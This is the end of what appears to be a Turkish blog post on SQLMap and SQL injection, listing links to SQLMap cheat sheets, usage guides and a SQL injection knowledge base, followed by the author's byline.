SQLMap chearsheet: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap

SQLMap cheatsheets: https://cybr.com/ethical-hacking-archives/sqlmap-cheat-sheets-to-help-you-find-sql-injections/

Invicti SQLMap kullanımı: https://www.netsparker.com.tr/blog/web-guvenligi/ileri-seviye-sqlmap-kullanimi/

Önemli sqlmap parametreleri: https://resources.infosecinstitute.com/topic/important-sqlmap-commands/

SQLMap YouTube kanalı: https://www.youtube.com/user/inquisb/videos

WebSec SQL Injection Knowledge Base: https://www.websec.ca/kb/sql_injection

Yazar: Özgür Koca

Yazar - Tankado.com

“SQLMap ve SQLi (SQL Injection)” için 3 yorum

Bir cevap yazın

E-posta hesabınız yayımlanmayacak.

This site uses Akismet to reduce spam. Learn how your comment data is processed.